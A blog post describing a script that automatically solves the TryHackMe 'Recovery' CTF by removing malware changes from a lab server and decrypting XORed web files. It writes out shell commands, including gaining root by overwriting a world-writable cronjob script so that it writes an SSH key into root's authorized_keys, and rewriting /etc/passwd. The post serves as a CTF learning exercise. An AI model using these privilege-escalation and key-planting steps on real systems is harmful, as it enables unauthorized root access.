I wrote a script that automatically solves a CTF

A few days ago I played a TryHackMe CTF named Recovery with my colleagues. The challenge level is set to medium and its category is way different from that of the CTFs I usually play. It is a Forensic challenge where a web server has been infected and the files in the web root directory have been encrypted. Your mission is to find a way to log into the server and decrypt the web content, plus removing every odd thing the malware did.

This won’t be a write-up because I won’t dig too much into the details, instead I will explain a script I made that automatically solves the challenge. It only requires 2 interactions.

If you ask me why I made it, well… I suppose for fun, to take the challenge to the next level and sharpen my scripting skills.

The script can be found on my GitHub.

☝️ PoC

What did the malware do?

The malware did 6 major changes to the server that we need to fix.

1. Put an annoying while loop in the .bashrc file of user alex, so when we SSH as alex, we can’t run any command
2. Put a cronjob that executes a bash file that kills shell sessions (this is run as root and can be edited by anyone)
3. Inserted the attacker’s SSH public key inside the root’s authorized_keys file as a backdoor
4. Replaced the liblogging.so library with a rogue one
5. Created a user named security with UID 0, so it has root privileges
6. Encrypted all the web files in the directory /usr/local/apache2/htdocs/

How the script fixes it

Underlying the script runs every command on the remote server via SSH.

Here’s how the script solves the challenge by itself.

1. Runs the following command to remove the annoying loop in the .bashrc file (the last line) and creates the .ssh directory in alex’s home.

head -n -1 /home/alex/.bashrc > /home/alex/.bashrc; mkdir /home/alex/.ssh

2. After generating a new SSH key pair (stored in the host /tmp directory), inserts the public key inside the alex’s authorized_keys file, so we won’t get prompted for the password anymore.

echo '$pub_key' >> /home/alex/.ssh/authorized_keys; chmod 644 /home/alex/.ssh/authorized_keys

3. Exploits the the rogue cronjob by replacing the content of the executed script with a bash line that echoes the public key inside the root’s authorized_keys file.

echo 'echo \"$pub_key\" > /root/.ssh/authorized_keys' > /opt/brilliant_script.sh

4. Since the cronjob executes every 30 seconds, the script sleeps 31 seconds.

5. Now that it has access as root, reestablishes the liblogging.so library.

mv /lib/x86_64-linux-gnu/oldliblogging.so /lib/x86_64-linux-gnu/liblogging.so

6. Since the system can’t delete user security because it’s UID is used for the process with PID 0 (startup process), it modifies its entry in the /etc/passwd file to set its UID to 1001.

head -n -1 /etc/passwd > /tmp/passwd && cat /tmp/passwd > /etc/passwd && echo 'security:x:1001:1001::/home/security:/bin/sh' >> /etc/passwd

7. Deletes the rogue user security.

userdel security

8. Retrieves the encrypt files (saves them in host /tmp directory) and the decryption key (stored in /opt/.fixutil/backup.txt) and saves it inside the key variable.

/usr/bin/scp -r -i $priv_key root@$IP:/usr/local/apache2/htdocs/ /tmp/
key=$($ssh_root -i $priv_key "cat /opt/.fixutil/backup.txt")

9. Since the files are XORed with the retrieved key, I wrote a Python script that XOR them back (this is also in the GitHub repository).

python3 decry.py /tmp/htdocs/index.html $key /tmp/decrypted/index.html
python3 decry.py /tmp/htdocs/reallyimportant.txt $key /tmp/decrypted/reallyimportant.txt
python3 decry.py /tmp/htdocs/todo.html $key /tmp/decrypted/todo.html

10. Replaces the encrypted web directory in the infected server with the decrypted one.

/usr/bin/scp -i $priv_key /tmp/decrypted/* root@$IP:/usr/local/apache2/htdocs/

11. Finally retrieves all the flags accumulated while recovering the system on the server’s website hosted on port 1337.

curl -s http://$IP:1337 | grep THM | sed -E 's/<.|p|>//g'